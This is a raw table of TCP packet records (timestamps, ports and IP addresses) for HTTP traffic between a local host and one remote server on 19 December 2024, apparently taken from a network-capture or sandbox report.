Dec 19, 2024 08:00:50.986083984 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.986094952 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.986104965 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.986186028 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.986196995 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.986207962 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.986311913 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.986323118 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.986332893 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.986345053 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.986409903 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.986418962 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.986447096 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.986485958 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.986568928 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.986579895 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.994566917 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.994602919 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.994643927 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.994703054 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.994784117 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.994812965 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.994874954 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.994885921 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.994960070 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.994993925 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.995069981 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.995098114 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.995187998 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.995198965 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.995239973 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.995274067 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.995371103 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.995382071 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.995506048 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.995516062 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.995578051 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.995588064 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.995677948 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.995728970 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.995877981 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.995887041 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.995982885 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.995994091 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.996015072 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.996062994 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:50.996145964 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:54.748874903 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:54.748913050 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:54.748980999 CET	49723	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:54.749224901 CET	49723	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:54.868889093 CET	80	49723	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:54.975332022 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:55.094942093 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:55.095103025 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:55.095298052 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:55.214765072 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:56.961133003 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:56.961163044 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:56.961236954 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:56.963156939 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:56.963195086 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:56.963207006 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:56.963243961 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:56.965462923 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:56.965506077 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:56.965528965 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:56.966432095 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:56.966485023 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:56.966506958 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:56.970298052 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:56.970356941 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.080796957 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.080910921 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.080964088 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.085019112 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.085125923 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.085176945 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.092336893 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.092381001 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.092437983 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.192208052 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.192291975 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.192347050 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.197101116 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.197190046 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.197242022 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.204741955 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.204819918 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.204878092 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.213073015 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.213159084 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.213207006 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.221415043 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.221529007 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.221585035 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.229981899 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.230143070 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.230196953 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.237113953 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.237139940 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.237209082 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.244368076 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.244442940 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.244496107 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.251508951 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.251578093 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.251636028 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.258761883 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.258903027 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.258951902 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.265995026 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.266069889 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.266113997 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.322508097 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.322628975 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.322681904 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.326040983 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.373128891 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.384105921 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.384164095 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.384243965 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.386975050 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.387069941 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.387125015 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.392851114 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.392949104 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.392997980 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.398660898 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.398780107 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.398848057 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.404198885 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.404294014 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.404365063 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.409750938 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.409877062 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.409949064 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.415221930 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.415335894 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.415386915 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.420802116 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.420908928 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.420970917 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.426342964 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.426594973 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.426651001 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.431922913 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.432045937 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.432210922 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.437372923 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.437537909 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.437596083 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.442888021 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.442981958 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.443049908 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.448404074 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.448525906 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.448577881 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.453938007 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.454052925 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.454108000 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.458348036 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.458477974 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.458631039 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.462805986 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.462843895 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.462898970 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.467175961 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.467288971 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.467353106 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.471573114 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.471688032 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.471740961 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.476046085 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.476136923 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.476181984 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.480442047 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.480519056 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.480587959 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.485157013 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.485219955 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.485268116 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.489255905 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.518368959 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.518462896 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.518465042 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.520606995 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.520658970 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.520699024 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.524990082 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.525062084 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.576302052 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.576330900 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.576524019 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.577840090 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.577888012 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.577933073 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.580981970 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.581082106 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.581127882 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.584187984 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.584299088 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.584479094 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.587347031 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.587449074 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.587497950 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.590410948 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.590501070 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.590559959 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.593400955 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.593475103 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.593522072 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.596263885 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.596366882 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.596412897 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.599173069 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.599255085 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.599302053 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.601989985 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.602124929 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.602168083 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.604746103 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.604789972 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.604830980 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.607533932 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.607677937 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.607719898 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.610193968 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.610280991 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.610322952 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.612890005 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.613007069 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.613048077 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.615552902 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.615641117 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.615694046 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.618196011 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.618364096 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.618413925 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.620857000 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.620945930 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.620985031 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.623512030 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.623605967 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.623647928 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.626142025 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.626261950 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.626306057 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.628871918 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.628923893 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.628962994 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.631479979 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.631599903 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.631643057 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.634150982 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.634275913 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.634322882 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.636758089 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.636871099 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.636914968 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.639417887 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.639508009 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.639544010 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.642085075 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.642174006 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.642214060 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.644716024 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.644820929 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.644860029 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.647063017 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.647160053 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.647228003 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.649308920 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.649365902 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.649408102 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.651514053 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.651619911 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.651660919 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.653738976 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.653862000 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.653918028 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.655965090 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.656187057 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.656234980 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.658149958 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.658265114 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.658307076 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.660456896 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.660523891 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.660566092 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.662641048 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.662765980 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.662805080 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.664808035 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.664871931 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.664916039 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.667000055 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.706588984 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.706641912 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.706660986 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.707710981 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.707792044 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.707864046 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.709878922 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.709919930 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.709923983 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.712111950 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.712166071 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.712204933 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.714267015 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.714313030 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.714359045 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.716506958 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.716557026 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.768469095 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.768547058 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.768621922 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.769201994 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.769304037 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.769349098 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.770791054 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.770891905 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.770960093 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.772388935 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.772524118 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.772578001 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.773981094 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.774092913 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.774144888 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.775470018 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.775520086 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.775564909 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.777030945 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.777107954 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.777152061 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.778520107 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.778631926 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.778697968 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:57.780044079 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:57.780153036 CET	80	49739	194.87.47.113	192.168.2.9
